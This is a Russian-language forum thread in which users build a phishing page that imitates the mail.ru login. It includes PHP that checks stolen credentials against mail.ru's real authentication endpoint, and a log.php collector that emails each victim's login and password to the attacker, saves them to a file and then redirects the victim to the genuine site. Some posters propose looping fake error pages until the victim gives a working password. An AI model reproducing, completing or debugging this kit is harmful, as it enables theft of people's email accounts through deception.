Нужен фейк mail.ru с проверкой пароля Т.е. если пользователь ввел неверные данные, выдается сообщение о неверном пароли, если верный, то пользователь идет на нужную нам страницу
PHP: function login($email,$password) { $email = strtolower($email); list($login, $domain) = explode('@',$email); $openMail = file_get_contents('http://win.mail.ru/cgi-bin/auth?Login='.urlencode($login).'&Password='.urlencode($password).'&Domain='.urlencode($domain)); if(!preg_match('|<title> Вход в систему </title>|',$openMail) && preg_match('|<title>.+'.str_replace('.','\.',$email).'.+</title>|',$openMail)) { return true; } else { return false; } } Вот простейшая функция для проверки. Проверять так Code: if(login('[email protected]', 'passwd')) { ... }
ничего сложного. при обработке полученных данных (читай логина и пароля) вместе с тем что пишешь в файл/отсылаешь себе на мыло итд итп так же отправляешь запрос на майл.ру при помощи сокетов потом получаешь ответ и выводишь его. и все будет так как будто чел ошибся и ввел на правильный логин и пароль
блин народ обьясните плиз , куда этот пхп код засовывать? в файла log.php? или куда? куда конкретно в файл? в самом начале файла или в самом конце? и ешё как мона сделать так чтоб когда чел ввел правильный пас от своего ящика он автоматом с фейк страницы зашел к себе в ящик?
Можно сделать, чтобы при ведение пароля фейк отправлял запрос на маил.ру, если пароль правельный, то фейк ведет через PHP пароль и логин на маил.ру и жертва войдет, а если не правельный то выдает жертве 2 фейк, и так по кругу... пока жертва не дас нам нужный пасс Если это увидит Ponchik то я думаю что он это сделает!!! P.S. Идея придумана за 5 мин, но не сделана, надеюсь я подкинул идею для работы)))
NOmeR1 всё написал уже.В log.php добавляете функцию и проверку: PHP: if(login($Login,$Pass)) { //пароль верен,вывести соответсвующие } else { //пароль не верен,вывести соответсвующие }
ну вот я вставил такм образом , но функция не пашет , видимо не в том место всунул код , я нисилен в php , кууда его тут вставлять то нада? и вообше тот код который дал Nomer1 не дописан , ибо там идет првоерка только логин пасса , а на мейле ешё есть такое понятие как домен inbox/bk итд PHP: <?PHP Error_Reporting(E_ALL & ~E_NOTICE); $Login = $_POST['Login']; $Domain = $_POST['Domain']; $Pass = $_POST['Password']; //#################################### $from = "[email protected]"; // от кого письмо $to = "[email protected]"; // кому присылаем данные $subj = " sdfsdjfnd15154 : $Login@$Domain"; // тема письма $body = " Логин: $Login@$Domain \n Пароль: $Pass"; // тело письма (реконмендую не менять) //#################################### if(login($Login,$Pass)) { //пароль верен,вывести соответсвующие } else { //пароль не верен,вывести соответсвующие } $from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit"; $from=convert_cyr_string($from,"w","k"); $to=convert_cyr_string($to,"w","k"); $subj=convert_cyr_string($subj,"w","k"); $body=convert_cyr_string($body,"w","k"); mail($to,$subj,$body,$from); $c = "$Login@$Domain:$Pass"; $fp = fopen("c","a+"); //открываем файл fwrite($fp,"\n [start-- $c -- end] \n"); //записываем всё fclose($fp); //закрываем //#################################### header("Location: http://win.mail.ru/cgi-bin/start?ver=%32%30%39%34&back=1"); // куда пошлем пользователя после того как он ввел данные! echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?ver=%32%30%39%34&back=1\">" //#################################### ?>
блин да я ваще 0 в php/html вы можите обьяснить что нужно вставить и главное куда конкретно чтобы у меня проверялась валидность пары логин/пас
ну обьясните нубу вставляю в log.php код , log.php прикручен к index.php в функции action вот в это вставляю в log.php даю 777 права , захожу на фейк страницу , ввожу не верную пару логин пас жму войти , меня перекидывает на cayt.ru/log.php и все , передомной чистая страница , больше ниче не происходит... что я не прально сделал?